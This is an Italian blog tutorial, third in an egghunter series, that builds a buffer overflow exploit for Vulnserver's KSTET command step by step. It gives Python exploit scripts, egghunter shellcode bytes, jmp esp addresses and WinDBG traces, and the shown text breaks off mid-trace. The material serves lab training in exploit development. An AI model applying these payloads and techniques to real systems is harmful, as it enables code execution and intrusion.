Egghunter III - Vulnserver KSTET

Tempo di lettura: 23 minuti
Data pubblicazione: December 5, 2022

Introduzione

Terzo articolo della serie Egghunter Buffer Overflow, target Vulnserver.

Altri post in questa serie:

  1. Egghunter I - Vulnserver GMON
  2. Egghunter II - freeFTPd 1.0.10
  3. Egghunter III - Vulnserver KSTET
  4. Egghunter IV - TFTP Server 1.4
  5. Egghunter V - Sysax 5.3

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

Vulnserver KSTET

Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.

Crash Iniziale

Sappiamo che il server va in crash con il seguente comando

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me

payload = VULNSRVR_CMD
payload += b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 1000

Aggiorniamo lo script

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me

payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A…"

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Cerchiamo l’offset con mona

0:000> g
ModLoad: 74840000 74896000   C:\Windows\system32\mswsock.dll
(1214.35e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0102f978 ebx=0000000c ecx=00714958 edx=00000000 esi=00401848 edi=00401848
eip=63413363 esp=0102f9c8 ebp=41326341 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
63413363 ??              ???
0:004> .load pykd.pyd
0:004> !py mona po 63413363 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 63413363
Looking for c3Ac in pattern of 500000 bytes
- Pattern c3Ac (0x63413363) found in cyclic pattern at position 70
Looking for c3Ac in pattern of 500000 bytes
Looking for cA3c in pattern of 500000 bytes
- Pattern cA3c not found in cyclic pattern (uppercase)  
Looking for c3Ac in pattern of 500000 bytes
Looking for cA3c in pattern of 500000 bytes
- Pattern cA3c not found in cyclic pattern (lowercase)  

[+] This mona.py action took 0:00:00.188000

EIP viene sovrascritto all’offset 70. Aggiorno lo script e verifico che sia corretto

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Sembra che dopo \x14 non ci sia più nulla, lo tolgo e rilancio

0:000> g
ModLoad: 74840000 74896000   C:\Windows\system32\mswsock.dll
(27a8.193c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00e4f978 ebx=000000cc ecx=00c449d0 edx=00000000 esi=00401848 edi=00401848
eip=42424242 esp=00e4f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??              ???
0:003> db esp
00e4f9c8  01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f 10  ................
00e4f9d8  11 12 13 15 00 00 00 00-00 00 c4 00 52 03 00 00  ............R...
00e4f9e8  c0 00 0e 00 00 00 00 00-58 fe 0e 00 0a 00 00 00  ........X.......
00e4f9f8  00 00 0e 00 28 00 00 00-01 00 00 00 00 00 00 00  ....(...........
00e4fa08  28 00 00 00 02 00 00 00-50 fe 0e 00 68 49 c4 00  (.......P...hI..

Quindi non sembra essere un problema di bad char ma più di spazio del buffer. Divido i bad char in più trance e li lancio 15 alla volta, in modo da verificare che non ci siano altri bad char oltre a \x00.

JMP ESP

Essendo uno stack buffer overflow, cerchiamo un jmp esp in modo da saltare nel mio spazio.

0:003> !py mona jmp -r esp -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00'

---------- Mona command started on 2022-09-17 11:23:09 (v2.0, rev 616) ----------
......
[+] Results : 
0x625011af |   0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011bb |   0x625011bb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011c7 |   0x625011c7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- 
..................
0x62501205 |   0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
    Found a total of 9 pointers

Nessuno sembra avere protezioni, prendo il primo e lo inserisco nello script

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

#\x00
VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x625011af) # jmp esp
payload += b"\x90" * 5
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

E guardando su WinDBG confermiamo che sia tutto ok.

0:004> bp 0x625011af
0:004> g
Breakpoint 0 hit
eax=00f5f978 ebx=000000a4 ecx=00d54958 edx=00000000 esi=00401848 edi=00401848
eip=625011af esp=00f5f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x3:
625011af ffe4            jmp     esp {00f5f9c8}
0:004> db 00f5f9c8
00f5f9c8  90 90 90 90 90 43 43 43-43 43 43 43 43 43 43 43  .....CCCCCCCCCCC
00f5f9d8  43 43 43 43 00 00 00 00-00 00 d5 00 61 03 00 00  CCCC........a...

In questo caso però abbiamo uno spazio talmente limitato da non poter inserire nemmeno un egghunter. Guardando gli altri registri, mi accorgo che c’è eax che punta (quasi) alle A del buffer, potremmo sfruttare lui per saltare in un punto più largo.

0:004> dd eax + 6
00f5f97e  41414141 41414141 41414141 41414141
00f5f98e  41414141 41414141 41414141 41414141
00f5f99e  41414141 41414141 41414141 41414141
00f5f9ae  41414141 41414141 41414141 41414141
00f5f9be  41414141 11af4141 90906250 43909090
00f5f9ce  43434343 43434343 43434343 00004343
00f5f9de  00000000 036100d5 00c00000 0000000e
00f5f9ee  07100000 000a000f 00000000 0111000e

Nel poco spazio che abbiamo, inseriamo un add eax + 6 e un jmp eax. Calcolo gli opcode e li aggiungo allo script

nasm> add eax, 0x6
83C006                   add eax,byte +0x6
nasm> jmp eax
FFE0                     jmp eax


import struct
import socket


TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

#\x00
VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x625011af) # jmp esp
payload += b"\x90" * 4
payload += b"\x83\xc0\x06" # add eax + 6
payload += b"\xff\xe0" # jmp eax
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Osservando il comportamento su WinDBG abbiamo la conferma che abbiamo ottenuto un pò più di spazio.

0:000> g
ModLoad: 74840000 74896000   C:\Windows\system32\mswsock.dll
(28b0.22f0): Break instruction exception - code 80000003 (first chance)
eax=0020e000 ebx=00000000 ecx=7713b300 edx=7713b300 esi=7713b300 edi=7713b300
eip=77102500 esp=00fbff44 ebp=00fbff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77102500 cc              int     3

0:004> bp 0x625011af

0:004> g
Breakpoint 0 hit
eax=00fbf978 ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=625011af esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x3:
625011af ffe4            jmp     esp {00fbf9c8}

0:004> p
eax=00fbf978 ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=00fbf9c8 esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00fbf9c8 90              nop

0:004> p
eax=00fbf978 ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=00fbf9c9 esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00fbf9c9 90              nop

0:004> p
eax=00fbf978 ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=00fbf9ca esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00fbf9ca 90              nop

0:004> p
eax=00fbf978 ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=00fbf9cb esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00fbf9cb 90              nop

0:004> p
eax=00fbf978 ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=00fbf9cc esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00fbf9cc 83c006          add     eax,6

0:004> p
eax=00fbf97e ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=00fbf9cf esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
00fbf9cf ffe0            jmp     eax {00fbf97e}

0:004> db 00fbf97e
00fbf97e  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00fbf98e  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00fbf99e  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00fbf9ae  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00fbf9be  41 41 41 41 41 41 af 11-50 62 90 90 90 90 83 c0  AAAAAA..Pb......
00fbf9ce  06 ff e0 43 43 43 43 43-43 43 43 43 43 43 00 00  ...CCCCCCCCCCC..
00fbf9de  00 00 00 00 db 00 52 03-00 00 c0 00 10 00 07 00  ......R.........
00fbf9ee  00 00 20 f9 10 00 38 00-00 00 00 00 10 00 cf 00  .. ...8.........

0:004> p
eax=00fbf97e ebx=00000094 ecx=00db49d0 edx=00000000 esi=00401848 edi=00401848
eip=00fbf97e esp=00fbf9c8 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
00fbf97e 41              inc     ecx

0:004> db 00fbf97e L-10
00fbf96e  db 00 a0 24 9d 75 00 00-db 00 4b 53 54 45 54 20  ...$.u....KSTET 

Meglio di prima ma non abbastanza per uno shellcode. Ciò che possiamo usare è un egghunter, solo che bisogna prima trovare un posto in memoria dove inserire il nostro shellcode (idealmente >400 bytes).

Una strada che si potrebbe seguire è quella di lanciare un comando normale, seguito da N bytes e vedere se lo si trova poi in memoria.

L’idea è quella di:

  1. Lanciare un comando normale (STATS per esempio).
  2. Appendere l’egg + lo shellcode al comando normale e inviarlo al server. Questo si salverà in memoria.
  3. Lanciare il comando KSTET con all’interno l’egghunter, il quale andrà in giro per la memoria a cercare l’egg.
  4. Una volta trovato, eseguirà lo shellcode.

Vedo l’HELP e provo STATS agganciato a WINDBG

Metto in pausa e cerco in memoria

0:004> s -a 0x0 L?80000000 "STATS AAAA"
00c648d8  53 54 41 54 53 20 41 41-41 41 42 42 42 42 43 43  STATS AAAABBBBCC
00c64958  53 54 41 54 53 20 41 41-41 41 41 41 41 41 41 41  STATS AAAAAAAAAA

Faccio una prova inserendolo nel mio script originale e cercando di nuovo in memoria (per verificare che non venga sovrascritto o eliminato)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

#\x00
VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

EGG_SIZE = 1000
first_stage = b"STATS "
first_stage += b"B" * EGG_SIZE

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x625011af) # jmp esp
payload += b"\x90" * 4
payload += b"\x83\xc0\x06" # add eax + 6
payload += b"\xff\xe0" # jmp eax
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(first_stage) # TRUN BBBB..
    
with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(payload)
    #print(f"sent {sent} bytes")

Cerchiamo su WinDBG

0:000> g
ModLoad: 74840000 74896000   C:\Windows\system32\mswsock.dll
(4478.3a58): Break instruction exception - code 80000003 (first chance)
eax=003fb000 ebx=00000000 ecx=7713b300 edx=7713b300 esi=7713b300 edi=7713b300
eip=77102500 esp=0106ff44 ebp=0106ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77102500 cc              int     3

0:004> bp 0x625011af

0:004> g
Breakpoint 0 hit
eax=0106f978 ebx=000000dc ecx=00755de8 edx=00000000 esi=00401848 edi=00401848
eip=625011af esp=0106f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x3:
625011af ffe4            jmp     esp {0106f9c8}

0:004> s -a 0x0 L?80000000 STATS
00404299  53 54 41 54 53 20 5b 73-74 61 74 5f 76 61 6c 75  STATS [stat_valu
00404380  53 54 41 54 53 20 00 53-54 41 54 53 20 56 41 4c  STATS .STATS VAL
00404387  53 54 41 54 53 20 56 41-4c 55 45 20 4e 4f 52 4d  STATS VALUE NORM
007534e0  53 54 41 54 53 20 42 42-42 42 42 42 42 42 42 42  STATS BBBBBBBBBB
007548f0  53 54 41 54 53 20 42 42-42 42 42 42 42 42 42 42  STATS BBBBBBBBBB

0:004> db 007534e0   L200
007534e0  53 54 41 54 53 20 42 42-42 42 42 42 42 42 42 42  STATS BBBBBBBBBB
007534f0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00753500  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00753510  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00753520  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00753530  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB

Poiché siamo in un’altra zona di memoria, ora dobbiamo verificare di nuovo che non ci siano bad char.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

#\x00
VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

EGG_SIZE = 1000
first_stage = b"STATS "
first_stage += bad_chars
first_stage += b"B" * (EGG_SIZE - len(bad_chars))

payload = VULNSRVR_CMD
payload += b"A" * (OFFSET)
payload += struct.pack("<I",0x625011af) # jmp esp
payload += b"\x90" * 4
payload += b"\x83\xc0\x06" # add eax + 6
payload += b"\xff\xe0" # jmp eax
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(first_stage) # TRUN BBBB..
    

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(payload)
    #print(f"sent {sent} bytes")

Guardiamo su WinDBG

0:003> bp 0x625011af
0:003> g
Breakpoint 0 hit
eax=00e9f978 ebx=000000d4 ecx=00195de8 edx=00000000 esi=00401848 edi=00401848
eip=625011af esp=00e9f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x3:
625011af ffe4            jmp     esp {00e9f9c8}
0:003> s -a 0x0 L?80000000 STATS
001934e0  53 54 41 54 53 20 01 02-03 04 05 06 07 08 09 0a  STATS ..........
001948f0  53 54 41 54 53 20 01 02-03 04 05 06 07 08 09 0a  STATS ..........
00404299  53 54 41 54 53 20 5b 73-74 61 74 5f 76 61 6c 75  STATS [stat_valu
00404380  53 54 41 54 53 20 00 53-54 41 54 53 20 56 41 4c  STATS .STATS VAL
00404387  53 54 41 54 53 20 56 41-4c 55 45 20 4e 4f 52 4d  STATS VALUE NORM
0:003> db 001934e0 L110
001934e0  53 54 41 54 53 20 01 02-03 04 05 06 07 08 09 0a  STATS ..........
001934f0  0b 0c 0d 0e 0f 10 11 12-13 14 15 16 17 18 19 1a  ................
00193500  1b 1c 1d 1e 1f 20 21 22-23 24 25 26 27 28 29 2a  ..... !"#$%&'()*
00193510  2b 2c 2d 2e 2f 30 31 32-33 34 35 36 37 38 39 3a  +,-./0123456789:
00193520  3b 3c 3d 3e 3f 40 41 42-43 44 45 46 47 48 49 4a  ;<=>?@ABCDEFGHIJ
00193530  4b 4c 4d 4e 4f 50 51 52-53 54 55 56 57 58 59 5a  KLMNOPQRSTUVWXYZ
00193540  5b 5c 5d 5e 5f 60 61 62-63 64 65 66 67 68 69 6a  [\]^_`abcdefghij
00193550  6b 6c 6d 6e 6f 70 71 72-73 74 75 76 77 78 79 7a  klmnopqrstuvwxyz
00193560  7b 7c 7d 7e 7f 80 81 82-83 84 85 86 87 88 89 8a  {|}~............
00193570  8b 8c 8d 8e 8f 90 91 92-93 94 95 96 97 98 99 9a  ................
00193580  9b 9c 9d 9e 9f a0 a1 a2-a3 a4 a5 a6 a7 a8 a9 aa  ................
00193590  ab ac ad ae af b0 b1 b2-b3 b4 b5 b6 b7 b8 b9 ba  ................
001935a0  bb bc bd be bf c0 c1 c2-c3 c4 c5 c6 c7 c8 c9 ca  ................
001935b0  cb cc cd ce cf d0 d1 d2-d3 d4 d5 d6 d7 d8 d9 da  ................
001935c0  db dc dd de df e0 e1 e2-e3 e4 e5 e6 e7 e8 e9 ea  ................
001935d0  eb ec ed ee ef f0 f1 f2-f3 f4 f5 f6 f7 f8 f9 fa  ................
001935e0  fb fc fd fe ff 42 42 42-42 42 42 42 42 42 42 42  .....BBBBBBBBBBB

Egghunter

Non ci resta che inserire l’egghunter (solito script) nel buffer successivo e vedere se è tutto ok.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

#\x00
VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

#c0d3c0d3
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

EGG_SIZE = 1000
first_stage = b"STATS "
first_stage += b"B" * EGG_SIZE

payload = VULNSRVR_CMD
payload += egghunter
payload += b"A" * (OFFSET - len(egghunter))
payload += struct.pack("<I",0x625011af) # jmp esp
payload += b"\x90" * 4
payload += b"\x83\xc0\x06" # add eax + 6
payload += b"\xff\xe0" # jmp eax
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(first_stage) # TRUN BBBB..
    

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(payload)
    #print(f"sent {sent} bytes")

Vediamo se è tutto ok con WinDBG

0:003> bp 0x625011af
0:003> g
Breakpoint 0 hit
eax=00eaf978 ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
eip=625011af esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x3:
625011af ffe4            jmp     esp {00eaf9c8}

0:003> p
eax=00eaf978 ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
eip=00eaf9c8 esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00eaf9c8 90              nop

0:003> p
eax=00eaf978 ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
eip=00eaf9c9 esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00eaf9c9 90              nop

0:003> p
eax=00eaf978 ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
